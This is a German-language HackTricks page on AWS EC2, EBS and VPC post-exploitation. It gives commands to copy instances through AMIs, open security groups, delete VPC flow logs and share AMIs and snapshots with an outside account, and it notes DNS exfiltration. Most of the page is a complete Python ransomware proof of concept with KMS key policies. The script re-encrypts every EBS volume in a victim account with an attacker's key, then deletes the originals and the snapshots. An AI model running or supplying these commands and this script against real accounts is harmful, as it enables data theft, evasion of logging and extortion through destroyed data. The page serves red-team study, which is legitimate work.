AWS - EC2, EBS, SSM & VPC Post Exploitation

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

EC2 & VPC

Für weitere Informationen siehe:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Bösartiger VPC-Spiegel - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC-Verkehrsspiegelung dupliziert den ein- und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPCs, ohne dass etwas auf den Instanzen selbst installiert werden muss. Dieser duplizierte Verkehr würde normalerweise an ein Netzwerk-Eindringungserkennungssystem (IDS) zur Analyse und Überwachung gesendet. Ein Angreifer könnte dies missbrauchen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:

Für weitere Informationen siehe diese Seite:

pageAWS - Malicious VPC Mirror

Laufende Instanz kopieren

Instanzen enthalten in der Regel sensible Informationen. Es gibt verschiedene Möglichkeiten, hineinzugelangen (überprüfen Sie EC2-Privileg-Eskalationstricks). Eine andere Möglichkeit, herauszufinden, was sie enthält, besteht jedoch darin, ein AMI zu erstellen und eine neue Instanz (auch in Ihrem eigenen Konto) daraus auszuführen:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots sind Backups von Volumes, die in der Regel sensible Informationen enthalten, daher sollte die Überprüfung dieser Informationen diese Informationen offenlegen. Wenn Sie ein Volume ohne Snapshot finden, könnten Sie: Erstellen Sie einen Snapshot und führen Sie die folgenden Aktionen aus oder hängen Sie es in einer Instanz innerhalb des Kontos ein:

pageAWS - EBS Snapshot Dump

Datenexfiltration

DNS-Exfiltration

Auch wenn Sie einen EC2 so sperren, dass kein Datenverkehr nach außen gelangen kann, kann er immer noch über DNS exfiltriert werden.

  • VPC Flow Logs werden dies nicht aufzeichnen.

  • Sie haben keinen Zugriff auf AWS DNS-Protokolle.

  • Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration über API-Aufrufe

Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Protokollen zu sehen.

Offene Sicherheitsgruppe

Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privilege Escalation zu ECS

Es ist möglich, eine EC2-Instanz auszuführen und sie zur Verwendung für das Ausführen von ECS-Instanzen zu registrieren und dann die Daten der ECS-Instanzen zu stehlen.

Für weitere Informationen siehe hier.

VPC-Flussprotokolle entfernen

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

AMI teilen

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS-Snapshot teilen

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Services damit zu verschlüsseln.

Zuerst erstellen Sie aus einem 'Angreifer'-AWS-Konto heraus einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS einfach die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein bösartiger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselpolitik, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselpolitik wurde der Name des Kontos 'AttackSim' verwendet und die Richtlinienregel, die den gesamten Zugriff ermöglicht, heißt 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Die Schlüsselrichtlinie erfordert die folgenden Berechtigungen, um die Verschlüsselung eines EBS-Volumes zu ermöglichen:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Nun, da der öffentlich zugängliche Schlüssel verwendet werden kann, können wir ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes erstellt hat. Diese EBS-Volumes des 'Opfer'-Kontos sind unser Ziel für die Verschlüsselung. Dieser Angriff erfolgt unter der Annahme eines Sicherheitsverstoßes eines AWS-Kontos mit hohen Privilegien.

Ähnlich wie beim S3-Ransomware-Beispiel wird dieser Angriff Kopien der angehängten EBS-Volumes mithilfe von Snapshots erstellen, den öffentlich verfügbaren Schlüssel des 'Angreifer'-Kontos zur Verschlüsselung der neuen EBS-Volumes verwenden, dann die originalen EBS-Volumes von den EC2-Instanzen abhängen und löschen und schließlich die Snapshots löschen, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden.

Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verfügbar sind.

Außerdem ist zu beachten, dass das Skript die EC2-Instanzen angehalten hat, um die originalen EBS-Volumes abzuhängen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.

Als nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen Sie die Richtlinienregel 'Outside Encryption' aus der Schlüsselrichtlinie.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Warten Sie einen Moment, bis die neu festgelegte Schlüsselrichtlinie verbreitet ist. Gehen Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.

Aber wenn Sie versuchen, die EC2-Instanz tatsächlich mit dem verschlüsselten EBS-Volume neu zu starten, wird der Startvorgang einfach fehlschlagen und von 'ausstehend' wieder in den 'gestoppten' Zustand übergehen, da das angehängte EBS-Volume nicht mit dem Schlüssel entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.

Dies ist das verwendete Python-Skript. Es benötigt AWS-Anmeldeinformationen für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS-ARN-Wert für den zur Verschlüsselung verwendeten Schlüssel. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, löst die originalen EBS-Volumes ab, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Es bleiben nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto übrig. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE ORIGINAL EBS-VOLUMES LÖSCHEN. Sie können sie mithilfe des verwendeten KMS-Schlüssels wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte Sie nur darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated